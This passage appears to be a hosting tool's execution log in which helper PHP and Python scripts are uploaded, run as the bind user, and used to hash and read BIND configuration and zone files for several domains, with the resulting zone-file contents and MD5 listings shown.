			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-06 10:51:00: 

runuser -l bind -s /bin/bash -c '/tmp/pkp653693; rm /tmp/pkp653693'

2026-05-06 10:51:00: 
2026-05-06 10:51:00: 

PUT: /tmp/pkp913166

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf')
    show_file('/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt')
    show_file('/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf')
    show_file('/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-06 10:51:00: 

chmod 755 /tmp/pkp913166; /tmp/pkp913166; rm /tmp/pkp913166

2026-05-06 10:51:00: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf	242
# this is an automatically created file: manual changes will be overwritten.
zone "pjy.us" IN {
  ##owner 0;
  type master;
  file "4e946d31d5dbbaea14c1f8a8cc65c592.txt";
  allow-transfer { 66.175.233.192;  };
    allow-update { none; };

};


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt	1080
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
youngrepairs.com          86400	 IN    SOA      	curitiba.ns.porkbun.com dns@cloudflare.com ( 2402625893 10000 2400  1800 )
@                         86400	 IN    NS       	curitiba.porkbun.com.
@                         86400	 IN    NS       	fortaleza.porkbun.com.
@                         86400	 IN    NS       	maceio.porkbun.com.
@                         86400	 IN    NS       	salvador.porkbun.com.
@                         600	 IN    A        	86.106.182.72
mail._domainkey           300	 IN    A        	"v=DKIM1;k=rsa;p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuqer/kw37D5Mul01eFE0kyXoTF3M4QnRB4215RJ7N97Mdcer49AD1YVEwuG+bxSnnU62u8ZotFd6vIKIdkUuNIMLmjgFix/Avv58IkgkiH1JlPa5YfyrCql6w75nn6f5uAGwQvzKb9dbX7sSFvji1Bu28hch+qXShd9ctzlw6+P7C14rN3wS9HOKUpHFPGiwkvC3albTQfWZkhKKFc7N8yOWpxhgvSmtx703boFZ/vAprmiHPWRHLhiVN2UN+l09vBV0aKXxSCAhXjoPfrb1nX8U8tBCNw0H2/o6zWBXs5ZzTgDDwSfHemjDX7tVuTv4Pi4cXccgQHbZce3QZDmicQIDAQAB"
www                       600	 IN    CNAME    	youngrepairs.com


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf	245
# this is an automatically created file: manual changes will be overwritten.
zone "hostz.org" IN {
  ##owner 0;
  type master;
  file "b74ce055b83f6cfebe00ab1c0c5d2af2.txt";
  allow-transfer { 66.175.233.192;  };
    allow-update { none; };

};


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt	1277
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
hostz.org.               		 IN    SOA      	hostz.org. hostmaster.hostz.org. ( 135474309 14400 3600 14400 3600 )
hostz.org.               		 IN    NS       	ns1.hostz.org.
hostz.org.               		 IN    NS       	ns2.hostz.org.
ns1					 IN    A		94.177.8.99
ns2					 IN    A		66.175.233.192
hostz.org.               		 IN    A        	206.222.22.194
hostz.org.               		 IN    MX       	12 ASPMX.L.GOOGLE.COM.
hostz.org.               		 IN    TXT      	"v=spf1 a include:_spf.google.com ~all"
these-entries-are-not-used		 IN    A        	127.0.0.1
_acme-challenge.admin.hostz.org. 60	 IN    TXT      	"zhNero9mmYF8ALfuK05SlXhBtqiW4WlAdWhOz08oKqM"
_acme-challenge.www.admin.hostz.org. 60	 IN    TXT      	"AN--BbvNadJl1k4DToBiImsR-3NrfgOlGLm6xwq96AA"
googleec9cc649fb3fa201.hostz.org.		 IN    CNAME    	google.com.
www.googleec9cc649fb3fa201.hostz.org.		 IN    CNAME    	google.com.
home.hostz.org.           60	 IN    A        	173.48.93.56
www.home.hostz.org.      		 IN    CNAME    	home.hostz.org.
mail.hostz.org.          		 IN    CNAME    	ghs.google.com.
www.mail.hostz.org.      		 IN    CNAME    	ghs.google.com.
www.hostz.org.           		 IN    CNAME    	hostz.org.






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 23fffb551d59be1ba6da9a294544c861
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-06 10:51:02: Establishing a connection
2026-05-06 10:51:02: 

PUT: /tmp/pkp624144

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-06 10:51:02: 

runuser -l bind -s /bin/bash -c '/tmp/pkp624144; rm /tmp/pkp624144'

2026-05-06 10:51:02: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
